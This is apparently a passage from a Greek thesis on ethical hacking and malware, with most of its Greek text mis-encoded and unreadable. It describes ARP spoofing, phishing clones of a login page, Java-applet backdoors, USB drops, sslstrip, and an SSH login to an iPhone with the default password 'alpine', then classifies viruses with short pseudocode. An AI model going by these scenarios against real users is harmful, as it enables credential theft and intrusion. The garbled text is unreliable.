µοιωνοςν άιιοςρ ςποιογηζηέρ µε θαθψβοςιο ιογηζµηθψ ε να δπαζηεπηοποηοωνηαη ζε άιιερ µοπθέρ 

ηος θςβεπνοεγθιήµαηορ ψπυρ ςποθιοπή πηζηυηηθϊν θαπηϊν , θυδηθϊν θαη άιια. Ένα botnet 

µποπεί να είναη έναρ "ζηπαηψρ" απψ ιίγοςρ σηιηάδερ µοιςζµένοςρ ςποιογηζηέρ µέσπη θαη να 

αποηειείηαη απψ εθαηοµµωπηα µοιςζµένοςρ ςποιογηζηέρ ένα botnet δίθηςο. 
 

1.2.2 active hacking 
 

Με ηον ψπο active hacking εννοοωµε έναν σπήζηε µε δηάθοπερ ηεσνηθέρ να αποθηήζεη µε εξοςζηοδοηεµένε 

ππψζβαζε ζε ζςζηήµαηα να ηποποποηήζεη να δηαγπάτεη ή να πποζζέζεη δεδοµένα. Μία άιιε έννοηα ηος 
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active hacking ζα µποποωζε να ήηαν άµα ο σπήζηερ έµπαηνε ζηεν µέζε ηερ επηθοηνυνίαρ µεηαξω ενψρ σπήζηε 

θαη ενψρ εξςπεπεηεηή , να ξεγειάζεη ηον σπήζηε παπηζηάνονηαρ αςηψρ ηον εξςπεπεηεηή θαη να ζςνεσίζεη ε 

επηθοηνυνία ή να ηποποποηήζεη ηα δεδοµένα θαη µεηά να ηα ξαναππουζήζεη ζηον εξςπεπεηεηή. 

 

Οη επηζέζεηρ πος σπεζηµοποηοωνηαη ζηο active hacking είναη Denial of Service , Man in Middle , ARP 

poisoning , buffer overflow , session replay , masquerade attack, sql injection, hijack seassion, brute 

force, cross site scripting. 
 

Σϊπα ζα εξεγήζυ µεπηθά active hacks πος ζα µποποωζαν να έσοςν εθαπµογή απψ οποηονδήποηε πος 

ζα ήζειε να αζσοιεζεί µε ηο ethical hacking θαη σπεζηµοποηοωνηαη πάπα ποιω ζηηρ µέπερ µαρ. 
 

1) Ππϊηο ζενάπηο είναη ψηη ο σπήζηερ ζέιεη να επέµβεη ζε ένα ηοπηθψ δίθηςο θαη µε ηεν ηεσνηθή 

ARP spoofing να ξεγειάζεη ηο δίθηςο αναπαπηζηϊνηαρ ηον rooter. 
 

Ππϊηο βήµα πος ζα αθοιοςζήζεη ο penetration tester είναη ψηη ζα επέµβεη ζηο ηοπηθψ δίθηςο µε WPA 

2 cracking µε θάποηο δηαζέζηµο επγαιείο απψ ηα ποιιά πος ςπάπσοςν ψπυρ ηο aircrack εηζέπσονηαρ 

ζηο ηοπηθψ δίθηςο. 
 

΋ηαν θαηαθέπεη να µπεί θαη έπζεη απψ ηον rooter ένα ARP request ηψηε ζα πάπεη ο ςποιογηζηήρ ηος 

επηηηζέµενος ηεν Ip ηος rooter. Έηζη ζα απσίζεη να παίπνεη ψια ηα παθέηα ηυν ςποιογηζηϊν ππορ ηον 

rooter ηα ηποποποηεί άµα ζέιεη θαη ηα αναδποµοιογεί. 
 

Φςζηθά γίνεηε θαη ηο ανηίζηποθο µε ARP spoofing ο rooter να νοµίδεη ψηη ο ςποιογηζηήρ ηος 

επηηηζέµενος είναη ο ςποιογηζηήρ ηος θανονηθοω σπήζηε θαη να δποµοιογεί ηα παθέηα ζηον επηηηζέµενο. 
 

2)΢ηα πιαίζηα ηος δεωηεπος ζεναπίος ςποζέηοςµε ψηη επηηηζέµενορ θαη ζηψσορ βπίζθονηαη ζηο ίδηο LAN 

πος εξεγήζαµε ζηο ππϊηο ζενάπηο πυρ να µπεη θάποηορ.΢ε αςηψ ηο ζενάπηο ζα εξεγήζοςµε πυρ γίνεηε ο 

σπήζηερ να πάπεη ηο username θαη ηον θυδηθψ ηος facebook ηος άιιος σπήζηε. Καζϊρ ο ζηψσορ δεν έσεη 

ηδέα ηη γίνεηε ο άιιορ σπήζηερ ζα θηηάξεη έναν θιϊνο ηος login ηερ ηζηοζειίδαρ facebook µε ηο 

ππψγπαµµα SET ή άιιο ππψγπαµµα παπψµοηο. ∆εωηεπο βήµα είναη ηο ARP spoofing θαη να ειέγξοςµε ηεν 

θίνεζε µεηαξω ηος σπήζηε θαη ηος rooter.΋ηαν ο σπήζηερ πάεη να ζςνδεζεί ζηο facebook ηψηε ηο DNS 

request ηος ζα πεπάζεη απψ ηον ςποιογηζηή ηος επηηηζέµενος θαη ο SET πος έσεη γίνεη server γηα ηον θιϊνο 

ηος facebook. 
 

3)Ένα ζενάπηο ψπος ο σπήζηερ ζα πποζπαζήζεη να πάπεη ηα passwords ή ηα hashes ηυν password ενψρ 

άιιος σπήζηε.Θα πποζπαζήζεη να εηζβάιεη ζηον ςποιογηζηή ηος ζηψσος ηοποζεηϊνηαρ ππϊηα ένα 

backdoor.Αςηψ ηο backdoor ζα πποζπαζεί να ζςνδεζεί ζηεν δεµψζηα ip ηος router ηος attacker. Ο 

σπήζηερ ζα ππέπεη να έσεη εγθαηεζηεµένε ηεν java ζηον ςποιογηζηή ηος. 
 

Σο ππϊηο βήµα είναη να ζςνδεζεί ο attacker ζηο ςποδίθηςο ηος ζηψσος θαη να σπεζηµοποηήζεη man in 

middle ηεσνηθή θαη ARP spoofing αναδποµοιογψνηαρ ηεν θίνεζε ζηο δίθηςο απψ ηοςρ ςποιογηζηέρ 

ζηον rooter. 
 

Σο δεωηεπο βήµα είναη να σπεζηµοποηήζοςµε ηεσνηθή θοηνυνηθήρ σεηπαγϊγεζερ (social engineering) θαη 

να θηηάξοςµε έναν θιϊνο ηερ ζειίδαρ πος επηζθέπηεηαη µε θάποηο επγαιείο ψπυρ ηοSETθαη επίζερ ο 

σπήζηερ ψηαν επηζθεθηεί ηεν ζειίδα πος ηος θαίνεηε έµπηζηε θαη ζα έσεη ηο ίδηο ψνοµα µε ηεσνηθή DNS 

spoofing αιιά ζε java applet ζα έσεη έναν θϊδηθα πος ζα εγθαζηζηά ζηον ςποιογηζηή ένα backdoor πος ζα 

δεµηοςπγεί sessions µεηαξω ηος attacker θαη ηος ζηψσος. 
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Σπίηο βήµα είναη να ξέποςµε ηεν δεµψζηα ip ηος ςποδηθηωος ηος σπήζηε γηα να σπεζηµοποηήζοςµε 

ένα επγαιείο πος θάνεη port scanning ψπυρ ηο nmap γηα να βποωµε ηεν ip ηος ςποιογηζηή ζηψσος ζηο 

ςποδίθηςο. 

 

Σέηαπηο βήµα είναη ο σπήζηερ να ηζηµπήζεη ηο δψιυµα πος αςηψ εξαπηάηε απψ ηο πψζο θαιά γνυπίδεη ο 

attacker απψ social engineer , να ηπέξεη ηο site, ζα εµθανηζηεί ένα µήνςµα να δεσηεί ηεν εθηέιεζε ενψρ java 

applet µε ένα παπαπιανεηηθψ µήνςµα ψπυρ να αποδεσηεί ηα cookies αιιά ζηεν οςζία είναη να 

εγθαηαζηήζεη µηα backdoor πος ζα επηθοηνυνεί µε θάποηο port ενϊ o attacker δεν ζα σπεηάδεηαη να είναη 

πιέον ζηο ςποδίθηςο άιια µε θάποηο επγαιείο γηα penetration testing ψπυρ ηο metasploit ζα αθοωεη απψ ηεν 

δεµψζηα ip ηος rooter ζηεν δεµψζηα ip ηος ζηψσος , ζηεν ip ηος ςποδςθηίος πος είναη ο ςποιογηζηήρ 

ζηψσορ θαη ζηο ζςγθεθπηµένο port πος ζα έσεη ζςνδεζεί ηο backdoor µε αποηέιεζµα ο attacker να µποπεί να 

ζςνδεζεί ζηον ζηψσο θαη να αποθηήζεη δηθαηϊµαηα root. 
 

4)Ένα ζενάπηο ψπος ο ζηψσορ πέθηεη ζωµα social engineering θαζϊρ ο attacker δεµηοςπγεί ένα phishing 

mail θιυνοποηεµένο απψ θάποηα ζειίδα πος επηζθέπηεηαη ο ζηψσορ. Μέζα ζε αςηψ ηο mail ζα ςπάπσεη 

ε ηεσνηθή ηος social engineer ψπος ο attacker ζα πποζποηείηαη ηον δηασεηπηζηή ηερ ζειίδαρ δεηϊνηαρ ζε 

θάποηα θψπµα ή ζε mail να ζηείιεη ο σπήζηερ εςαίζζεηα δεδοµένα. 
 

5)Πηζανψν ζενάπηο έναρ σπήζηερ ιαµβάνεη mail απψ θάποηον ψπος ηος αναθέπεη ψηη αςηψ ηο απσείο word 

πος είναη θοπηυµένο µέζα ζηο mail ηον ενδηαθέπεη θαη ο ζηψσορ πέθηεη ζωµα social engineering. ΋ηαν ο 

ζηψσορ θαηεβάζεη απψ ηο mail ηο word θαη ανοίξεη ηο απσείο .doc ζα δεη ψηη είναη ένα απιψ απσείο word 

αιιά ζηεν ππαγµαηηθψηεηα ο ςποιογηζηήρ ζα έσεη πέζεη ζωµα θαθψβοςιος ιογηζµηθοω θαη αςηψ ηο 

µεσάνεµα ζα έσεη γίνεη άιιε µία επηπιέον µονάδα ζε ένα botnet. 
 

6) Επηζέζεηρ έσοςν ππαγµαηοποηεζεί µε απιά usb sticks ή απιά cd θοπηυµένα µε θαθψβοςιο ιογηζµηθψ θαη 

ένα ππψγπαµµα autorun ϊζηε να θοπηϊνεη θαη να εγθαζίζηαηαη ζηον ειεθηπονηθψ ςποιογηζηή συπίρ ηεν άδεηα 

θαη θάηυ απψ ηεν άγνοηα ηος σπήζηε. Παπάδεηγµα αν έναρ θαθψβοςιορ hacker ζέιεη να θάνεη δεµηά 
 
ζε θάποηο δίθηςο µε ειεθηπονηθοωρ ςποιογηζηέρ µποπεί να πεηάξεη µέζα ζε θάποηο αζανζέπ µεπηθά ηέηοηα 

usb sticks ή θάποηα cd θοπηυµένα µε θαθψβοςιο ιογηζµηθψ ή να ηα αθήζεη ζε θάποηο γπαθείο πάνυ ή έξυ 

απψ µία πψπηα µε µία ένδεηξε πάνυ "εµπηζηεςηηθψ" ή "µηζζοδοζία" θάηη πος να είναη δειεαζηηθψ ζε αςηψν 

πος ζα ηο βπεη. Με ηο πος ηο βπεη ζα ηο βάιεη ζηον ςποιογηζηή ηος γηα να ηθανοποηήζεη ηεν πεπηέπγεηα ηος 

, αςηοµάηυρ ανοίγεη ένα θανάιη επηθοηνυνίαρ µε ηον επηηηζέµενο. Απψ εθεί θαη ωζηεπα ο επηηηζέµενορ απγά 

θαη ζηυπειά να πάεη απψ ζωζηεµα ζε ζωζηεµα , να ζςιιέγεη πιεποθοπίερ , να ηηρ εξάγεη ζηο µεσάνεµά 

ηος απψ ηο δίθηςο θαη να θαιωπηεη ηα ειεθηπονηθά ηος αποηςπϊµαηα. 

 

7) Μία γνυζηή εηαηπία ψπος ήηαν εηδηθή ζηε ζσεδίαζε ζωγσπονυν ηεσνοιογηθϊν επγαιείυν είσε ένα ζοβαπψ 

ππψβιεµα. Μία ανηίπαιε εηαηπία θαηάθεπνε να µαζαίνεη ψποηα παηένηα έσεη θηηάξεη ε άιιε εηαηπία ππην αθψµα 

θςθιοθοπήζεη θαη θςθιοθοποωζαν πποφψνηα ανάιογυν πποδηαγπαθϊν. Σειηθά ε εηαηπία πος 
 
έπεθηε ζωµα θιοπήρ πιεποθοπηϊν έβγαιε ηο ζςµπέπαζµα ψηη θάποηορ ςπάιιειορ δηέππεε πιεποθοπίερ 

ζηεν ανηίπαιε εηαηπία αιιά δεν γνϊπηδαν ποηορ. Οπψηε έππεπε να αναζέζοςν ηεν δοςιεηά ζε θάποηον 

penetration tester ψπος είσε γνϊζεηρ απψ hacking , δοωιεςε ζε θάποηα εηαηπία αζθαιείαρ ϊζηε να 

αναθαιωτεη µε µςζηηθψ ηπψπο ποηορ ήηαν αςηψρ ο ςπάιιειορ. Η εηαηπία ζωµα έζηεηιε mail ζηεν εηαηπία 

αζθάιεηαρ δίνονηαρ ηεν ζηαηηθή δεµψζηα ip δηεωζςνζε ηος virtual private network server (vpn server) θαη 

ηεν άδεηα γηα νψµηµε ζωνδεζε ζηο δίθηςο. Ο penetration tester ζςνδέζεθε ζηο δίθηςο µε έναν ςποιογηζηή 

µε ιεηηοςπγηθψ ζωζηεµα kali linux θαη ηο ππϊηο ππάµα πος έππεπε να θάνεη είναη να µαδέτεη ψζερ 

πεπηζζψηεπερ πιεποθοπίερ γηα αςηψ ηο δίθηςο οπψηε σπεζηµοποίεζε ηα επγαιεία nessus θαη nmap. Μεηά 
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απψ ένα εθηεηαµένο ζθανάπηζµα πποθεηµένος να αποθηήζεη πιεποθοπίερ ψπυρ σπήζηερ , ιεηηοςπγηθά 

ζςζηήµαηα , ςπεπεζίερ πος ηπέσοςν , ανοησηά ports θαη άιια. Επψµενο βήµα πος ζθέθηεθε ο penetration 

tester είναη να αναθαηεςζωνεη ηεν θίνεζε ψιος ηος δηθηωος µεηαηπέπονηαρ ηο laptop ηος ζαν ςποηηζέµενο 

router µε ηεσνηθή man in the middle , µε ηεσνηθή arp poisoning θαη ένα επηπιέον επγαιείο πος ιέγεηε 

sslstrip. Σο sslstrip ζα βοεζήζεη πάπα ποιω ηον penetration tester ϊζηε ψηαν ζα ππαγµαηοποηεζεί ε ηεσνηθή 

man in middle θαη αναθαηεςζωνεη ηα παθέηα ηος δηθηωος να είναη αποθπςπηογπαθεµένα ϊζηε να είναη 

εωθοιο γηα εξέηαζε. Με αςηψν ηον ηπψπο ξεγειάεη ψιο ηο δίθηςο θαη οη ειεθηπονηθοί ςποιογηζηέρ ζηέινοςν 

ηα παθέηα ηοςρ ζηο µεσάνεµα µε ηο kali linux γηα να ηα ειέγξεη ηο kali linux θαη να ηα αποζεθεωζεη γηα 

εξέηαζε µπαρ θαη βπεη ηίποηα ωποπηο θαη µεηά να ηα αναθαηεςζωνεη ζηον ππαγµαηηθψ router να πάνε ζηον 

ηειηθψ πποοπηζµψ. Ο penetration tester παπαηήπεζε θάηη πος ηος θίνεζε ηεν πεπηέπγεηα απψ µία ζςζθεςή 

πος ε mac address ηερ ήηαν σαπαθηεπηζηηθψ ηερ apple θαη µε ηοπηθή δηεωζςνζε 192.168.1.25 . Είδε ωποπηε 

θίνεζε απψ ηο Port 22 αςηήρ ηερ ζςζθεςήρ θαη αποθάζηζε να εηζβάιεη µέζα ζηο θηνεηψ αςηήρ ηερ 

ζςζθεςήρ να τάξεη αν ζα βπεη ηίποηα ενδηαθέπον. Ο penetration tester ζςνδέζεθε ζηο iphone µε ηεν ενηοιή 

ζηο cmd root@kali:~#ssh root@192.168.1.25 . Μεηά ηος δήηεζε password θαη γηα θαιή ηος 

ηωσε ήηαν ηο default password πος έσεη ηο iphone πος είναη alpine. root@192.168.1.20’s password: 

alpine . Ο penetration tester αθοω πήπε αποµαθπςζµένε ζωνδεζε ζηο iphone αποθάζηζε να ειέγξεη ηα 

mail ηερ ζςζθεςήρ πος είναη αποζεθεςµένα ηοπηθά ζηεν ζέζε /private/var/mobile/Library/Mail . Μέζα ζηα 

δηαγπαµµένα mail ο penetration tester βπήθε ένα παιηψ mail ψπος ηο είσε ζηείιεη ζε ωποπηε εµεποµενία µε 

ένα θαηεζηπαµµένο attachment ψπος πεπηείσε ένα jpeg απσείο. Ο penetration tester θαηάθεπε να αναθηήζεη 

ηo jpeg πος ήηαν ζε θυδηθοποίεζε base64 θαη είσε ένα επγαιείο ψπος ηο script αςηοω ηος επγαιείος έθανε 

ανάθηεζε ηος attachment. 
 

1.2.3 passive hacking 
 

Με ηεν έννοηα passive hacking εννοοωµε ψηη ο επηηηζέµενορ παπαθοιοςζεί µία επηθοηνυνία µεηάδοζερ 

δεδοµένυν αποθπςπηογπαθεµένυν ή θπςπηογπαθεµένυν(αιιά ππέπεη να ηα αποθπςπηογπαθήζεη). Με 

ηεσνηθέρ evedropping θαη monitoring ϊζηε ο επηηηζέµενορ δεν µπαίνεη ζηεν δηαδηθαζία να εηζβάιεη ζε 

ένα ςποιογηζηηθψ ζωζηεµα ή να ηποποποηήζεη να ζβήζεη ή να πποζζέζεη δεδοµένα. 
 
 

 

1.3.1Κακόβουλο λογιςμικό 
 
 
 
 
 

Σο θαθψβοςιο ιογηζµηθψ αποηειεί µείδον ππψβιεµα γηα ηεν αζθάιεηα ηυν πιεποθοπηαθϊν 

ζςζηεµάηυν.Σο ιογηζµηθψ σαπαθηεπίδεηε θαθψβοςιο ψηαν ο ζςγγπαθέαρ ή ο δηασεηπηζηήρ (ποιω πηζανψν 

θαη ηα 2 µαδί) να έσεη γπάτεη ηον θϊδηθα µε ηέηοηο ηπψπο ϊζηε ο αιγψπηζµορ ηος να βιάτεη ένα 

ςποιογηζηηθψ ζωζηεµα ή ένα δίθηςο ςποιογηζηϊν. 

 

΋ηαν εγθαηαζηαζεί ηο θαθψβοςιο ιογηζµηθψ ζηο ςποιογηζηηθψ ζωζηεµα ή ζηο δίθηςο ηυν ςποιογηζηϊν 

θαηαππίπηεηαη ε αθεπαηψηεηα ηοςρ , ή δηαζεζηµψηεηα ηοςρ θαη ε εµπηζηεςηηθψηεηα ηοςρ.΢ςνεζήρ 

ζθοπψρ είναη ο αποµαθπςζµένορ έιεγσορ ηος ζςζηήµαηορ , δηαγπαθή ή ηποποποίεζε ηος σπήζηε αθψµα 

θαη θαηαζηποθή ηος ςποιογηζηηθοω ζςζηήµαηορ. 
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Σο θαθψβοςιο ιογηζµηθψ µποπεί να συπηζηεί ζε 2 γενηθέρ θαηεγοπίερ θαηεγοπίερ.΢ε αςηψ πος σπεηάδεηαη ένα 

ππψγπαµµα ξενηζηή θαη ζε αςηψ πος δεν σπεηάδεηαη ξενηζηή θαη µποπεί να εθηειεζηεί απψ µψνο ηος. 

 
 

 

Καθψβοςιο ιογηζµηθψ µε ξενηζηή : Θα ιεηηοςπγήζεη µψνο ψηαν ηο ζειήζεη ο θαθψβοςιορ 

σπήζηερ. Πσ έσοςµε ηο µοιςζµένο ςποιογηζηηθψ ζωζηεµα συπίρ να έσεη ενεπγοποηεζεί ηος 

θαθψβοςιος ιογηζµηθοω θάποηα ζςνζήθε πος να θάνεη trigger ηο payload ηος γηα να 

βιάτεη ηον ςποιογηζηή.Είναη αποζεθεςµένο ζηον ζθιεπψ δίζθο θαη παπάιιεια 

θοπηυµένο ζηεν ram ηος ςποιογηζηή ζαν απιή δηεπγαζία πεπηµένονηαρ ηεν ζεηπά ηος απψ 

ηον sceduler να ηπέξεη. ΋ηαν ο σπήζηερ αποµαθπςζµένα ζειήζεη να θάνεη trigger ηο 

payload ηος θαθψβοςιος θϊδηθα(logic bomb) συπίρ ππην να έθανε θάηη. 
 

Καθψβοςιο ιογηζµηθψ µε σπήζε ξενηζηή : Trapdoor , Trojan horses , Logic bomb , Virus. 

 

Καθψβοςιο ιογηζµηθψ συπίρ ξενηζηή : Σο payload ηος ζα ενεπγοποηεζεί µψνο ψηαν ζα 
 

ςπάπσοςν οη θαηάιιειερ ζςνζήθερ ψπυρ ϊπα θαη εµεποµενία πος οπίζηεθε γηα να 

ενεπγοποηεζεί(time bomb) ή άιιερ εζυηεπηθέρ ή εξυηεπηθέρ ζςνζήθερ πος ζα δϊζοςν ηον 

άζζο ζηο θαθψβοςιο ιογηζµηθψ ή ο ζςνδςαζµψρ ποιιϊν απψ αςηϊν. 
 

Καθψβοςιο ιογηζµηθψ συπίρ σπήζε ξενηζηή : Worm. 
 

 

Επηπιέον ηο θαθψβοςιο ιογηζµηθψ µποπεί να δηασυπηζηεί θαη µε δηαθοπεηηθψ ηπψπο ζε άιιερ 

2 θαηεγοπίερ.Σο ηοµοπθηθψ θαθψβοςιο ιογηζµηθψ θαη ηο µε ηοµοπθηθψ θαθψβοςιο ιογηζµηθψ. 

 

΢ηο ηοµοπθηθψ θαθψβοςιο ιογηζµηθψ ανήθοςν ηα ππογπάµµαηα πος µποποων να 
αναπαπάγονηαη µψνα ηοςρ. 

 

Καθψβοςιο ηοµοπθηθψ ιογηζµηθψ : Virus ,Worm. 
 
 

΢ηο µη ηοµοπθηθψ ιογηζµηθψ ηα ππογπάµµαηα πος δεν αναπαπάγονηαη συπίρ ηεν ανάµεηξε 
ηος ανζπϊπηνος παπάγονηα. 

 
Καθψβοςιο µε ηοµοπθηθψ ιογηζµηθψ : Trapdoor , backdoor. 

 
 
 
 

Γηα να µοιςνζεί έναρ ςποιογηζηήρ απψ θαθψβοςιο ιογηζµηθψ ςπάπσοςν πάπα ποιιέρ ηεσνηθέρ θαη 
ζα αναθεπζϊ ζε µεπηθά παπαδείγµαηα. 
 
 
 

 

Σο θαθψβοςιο ιογηζµηθψ είναη θοπηυµένο ζε ένα άιιο ιογηζµηθψ πος µοηάδεη αζϊο µε ηεν µέζοδο ηερ 

ζηεγανογπαθίαρ (steganography) πος αποθπςθηεί ηα δεδοµένα µέζα ζε άιια δεδοµένα. Παπάδεηγµα 

µία εηθψνα .jpg ή .bmp ή .gif ,ζε βίνηεο ψπυρ mpeg ή mp4 , ζε ήσο ψπυρ .wav ή mp3. 

 

Παπάδεηγµα µε ζςγθεθπηµένα επγαιεία µποπεί ο θαθψβοςιορ σπήζηερ να ηα ενϊζεη έσονηαρ ένα ππψγπαµµα 

malicious.exe θαη µία θυηογπαθία smile.jpg.Σο ιογηζµηθψ ζα ηα ενϊζεη θαη ζα θηηάξεη ένα νέο απσείο πος ζα 

ιέγεηε smile.jpg µε µψνε δηαθοπά ηο µέγεζορ ηος απσείος ζα είναη ηο άζποηζµα ηυν 2 απσείυν πος 
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ένυζε. Αποηέιεζµα είναη ψηαν δεη ο ζηψσορ ηεν θυηογπαθία θαη ηεν ανοίξεη ζα πποβιεζεί θανονηθά αιιά 

συπίρ να ξέπεη ψηη ηο θαθψβοςιο ιογηζµηθψ θοπηϊζεθε θαη εγθαηαζηάζεθε αζψπςβα ζηον ςποιογηζηή ηος. 
 

Τεσνικέρ µόλςνζηρ ςπολογιζηικού ζςζηήµαηορ 
 

Σεσνηθή 1 :Σο θαθψβοςιο ιογηζµηθψ θοπηϊνεηε ζαν attachment ζε ένα phishing mail µε πεπηεσψµενο πος 

ζα βπεη αδςναµία ζηον σαπαθηήπα ηος ζηψσος µε ηεν µέζοδο social engineering , ή ζα νοµίδεη ψηη είναη απψ 

θάποηο έµπηζηο site, οπγανηζµψ εηαηπία , θίιο θαη ζα ηο θαηεβάζεη. ΋ηαν θαηεβεί ζηον ςποιογηζηή ηος ηψηε 

ζα εγθαηαζηαζεί αζψπςβα ηο θαθψβοςιο ιογηζµηθψ ζηο ζωζηεµα ηος ζηψσος θαη ζα αναιάβεη ηον πψιο 

ενψρ backdoor. 
 

Σεσνηθή 2 : Σο θαθψβοςιο ιογηζµηθψ ςπάπσεη µέζα ζε ένα θιαζάθη usb ή ζε ένα cd µε ειθςζηηθψ εξϊθςιιο ή 

ηίηιο , ο ζηψσορ ζα νοµίδεη ψηη ηο πεπηεσψµενο ηος είναη δηαθοπεηηθψ απψ ψηη είναη ζηεν ππαγµαηηθψηεηα θαη 

ψηαν ηο βάιεη ζηο µεσάνεµα ηο θαθψβοςιο ιογηζµηθψ ζα θοπηυζεί θαη ζα εγθαηαζηαζεί αζψπςβα. 

 
 
 
 
 
 
 
 

 

1.3.2 είδη Κακόβουλου λογιςμικοφ 
 

Σο θαθψβοςιο ιογηζµηθψ συπίδεηε ζε θάποηερ ζςγθεθπηµένερ θαηεγοπίερ ανάιογα µε ηον ηπψπο πος 

ζςµπεπηθέπεηε.Φςζηθά ζα µποποωζαν να ζςνδςάζοςν θαη ποιιέρ θαηεγοπίερ µαδί θαη να 

ζςµπεπηθέπονηε ποιςζωνζεηα. 
 

Ιόρ(virus) 
 

Η ππϊηε θαηεγοπία θαθψβοςιος ιογηζµηθοω είναη ο ηψρ. Βαζηθψ σαπαθηεπηζηηθψ ενψρ ηοω ψηαν µπαίνεη 

µέζα ζε ένα ςποιογηζηηθψ ζωζηεµα είναη ψηη δεν είναη θάποηο ππψγπαµµα standalone αιιά ανηηγπάθεη ηον 

θαθψβοςιο θϊδηθα ηος ζε άιια απσεία πος δεν έσοςν θαθψβοςιο ζθοπψ. Αρ ποωµε παπάδεηγµα ένα 

filesystem .dll πος ςπάπσεη ζηον ςποιογηζηή γηα θάποηερ ιεηηοςπγίερ ηος ιεηηοςπγηθοω ζςζηήµαηορ βαζηθψ 

σαπαθηεπηζηηθψ ηος ηοω είναη ψηη µοιωνεη ηο απσείο µε επηπιέον θαθψβοςιο θϊδηθα ζςνήζυρ συπίρ να 

θαηαζηπέτεη ηο απσηθψ. ΋ση µψνο αςηψ αιιά αθψµα πεπηζζψηεπα απσεία ζα µοιωνεη. Κάποηερ θοπέρ αν ηο 

ζειήζεη ο ζςγγπαθέαρ ηος ηοω ψηαν ένα µε θαθψβοςιο ιογηζµηθψ µοιςνζεί να απσίζεη να ζςµπεπηθέπεηαη 

θαη αςηψ ζαν ηψρ απσίδονηαρ να πποζζέηεη θαθψβοςιο θϊδηθα ζε άιια µε µοιςζµένα απσεία 

εξαπιϊνονηαρ ζε ψιον ηον ςποιογηζηή. Έναρ ηψρ δεν ποιιαπιαζηάδεη ηον εαςηψ ηος θαη ψηαν βπεζεί ζε ένα 

ζωζηεµα µε άιια απσεία µοιωνεη µε θαθψβοςιο θϊδηθα. 
 

Σπψποη δηάδοζερ ηος ηοω είναη παπάδεηγµα απψ αποζεθεςηηθά µέζα ψπυρ cd , δηζθέηερ , usb ή µέζο mailαπψ 

απσείο attachment ή ηζηοζειίδα πος ζηο client side ηπέσεη θάποηον θαθψβοςιο θϊδηθα απψ java script. 
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΋ηαν ο σπήζηερ εθηειέζεη ένα µοιςζµένο απσείο ππϊηα ζα ηπέξεη ο µοιςζµένορ θϊδηθαρ πος 
έσεη πποζθοιιήζεη ζηο απσείο θαη µεηά ζα ηπέξεη ηο απσείο θανονηθά. 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

Ο αιγψπηζµορ ηος ηοω αποηειείηαη απψ 3 µέπε γηα να ιεηηοςπγήζεη. 
 

1. Είναη ο µεσανηζµψρ µψιςνζερ θαη ποιιαπιαζηαζµοω. Μοιωνεη ένα απσείο µε ανηίγπαθο ηος 

εαςηοω ηος δειαδή ένα επηπιέον θοµµάηη θϊδηθα ζηο απιψ ππψγπαµµα. 
 

2. Μία ζςνζήθε πος ζα θπίνεη αν ζα ενεπγοποηήζεη ηο ςπψιοηπο θοµµάηη θϊδηθα ηος ηοω γηα να απσίζεη να 

θάνεη ιεηηοςπγίερ γηα ηον ζθοπψ πος θηηάσηεθε. Ήηε απψ απψζηαζε µε ηεν απψθαζε ξενηζηή 
 

δειαδή ηος ζςγγπαθέα ή ηον δηασεηπηζηή ηος ηοω ή ζαν υποιογηαθή βψµβα πος ζα ενεπγοποηεζεί 

θάποηα ζςγθεθπηµένε εµεποµενία θαη ϊπα(time bomb) ή ψηαν ηθανοποηεζεί θάποηα άιιε 

ζςνζήθε ηος ςποιογηζηηθοω ζςζηήµαηορ (logic bomb). Φςζηθά δεν είναη αδωναηο να γίνεη έναρ 

ζςνδςαζµψρ ψιυν. 
 

3. Ο θϊδηθαρ ζα ενεπγοποηεζεί απψ ηεν ζςνζήθε θαη µψνο. Είναη ο θϊδηθαρ πος ζα θάνεη ηηρ ανάιογερ 

ενέπγεηερ ψπος ζέιεη ο ζςγγπαθέαρ να ςποθιέτεη δεδοµένα , να θαηαζηπέτεη θάποηο ςποιογηζηηθψ 

ζωζηεµα , να θπςπηογπαθήζεη απσεία , να παπαθοιοςζήζεη έναν ζηψσο µε monitoringαθψµα θαη να 

είναη θάποηο µέιορ ενψρ botnet θαη να ξεθηνήζεη µία Distribuded Denial of Service(DDos) επίζεζε. 

 

Ο παπαθάηυ τεςδοθϊδηθαρ δείσνεη ηον αιγψπηζµο ενψρ ηοω θαη ηα 3 βήµαηα. 
 
 
 
 
 
 
 
 

void infect(){ 

while(some_condition){ target 

= select_target(); if(target 

== null) continue; 

infect_code(target); 

} 

}  
void virus(){ 

infect(); 

if(trigger()){ 

payload();  
} 

} 
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Οη ηοί συπίδονηαη ζε θάποηερ ζςγθεθπηµένερ θαηεγοπίερ: 
 

1. Παπαζηηηθψρ ηψρ (parasitic virus) : ΋ηαν ένα ππψγπαµµα έσεη µοιςνζεί µε παπαζηηηθψ ηψ γηα να 
 

ξεγειάζεη ηο ιεηηοςπγηθψ ζωζηεµα θαη να θπςθηεί ο θϊδηθαρ ηος ηοω αθήνεη ηο ππψγπαµµα να 
ηπέξεη θανονηθά ψηαν ζα έσοςν θοπηυζεί θαη ηα 2 ζηεν µνήµε ηος ςποιογηζηή γηα να ξεγειάζεη ηο 

 
ιεηηοςπγηθψ ζωζηεµα νοµίδονηαρ ψηη είναη µέπορ ηος ππογπάµµαηορ θαη να δϊζεη ηα ίδηα 

δηθαηϊµαηα.Ο ηψρ ζα ηο εθµεηαιιεςηεί αςηψ θαη ζα απσίζεη να ανηηγπάθεηε ζε άιια ππογπάµµαηα 

ή να θάνεη αιιαγέρ ζηο ςποιογηζηηθψ ζωζηεµα.  
2. Memory resident virus : Αςηή ε θαηεγοπία αναθέπεηε ζηοςρ ηοωρ πος παπαµένοςν θοπηυµένοη 

ζηεν θωπηα µνήµε µεηά πος ζα εθηειεζηεί ηο ππψγπαµµα , ηεπµαηίζεη θαη θωγεη απψ ηεν θωπηα 

µνήµε. Μποπεί να ενεπγοποηεζεί ψηαν θάποηο ππψγπαµµα θάνεη θάηη γηα να ηο µοιωνεη. Έναρ 

memory resident ηψρ συπίδεηε ζε 2 µηθπψηεπερ θαηεγοπίερ ανάιογα µε ηεν ζςσνψηεηα πος µοιωνεη.  
Είναη οη fast infectors θαη οη slow infectors.  

΢θοπψρ ηος fast infector memory resident ηοω είναη να θάνεη ψζο ποηο µαδηθή 

θαη γπήγοπε δεµία γίνεηε αιιά είναη εωθοιο να ενηοπηζηεί.  
΢θοπψρ ηος slow infector memory resident ηοω είναη να µποπεί να 

απιυζεί πεπηζζψηεπο συπίρ να γίνοςν ανηηιεπηψ γηα πεπηζζψηεπο. 
 
 

 

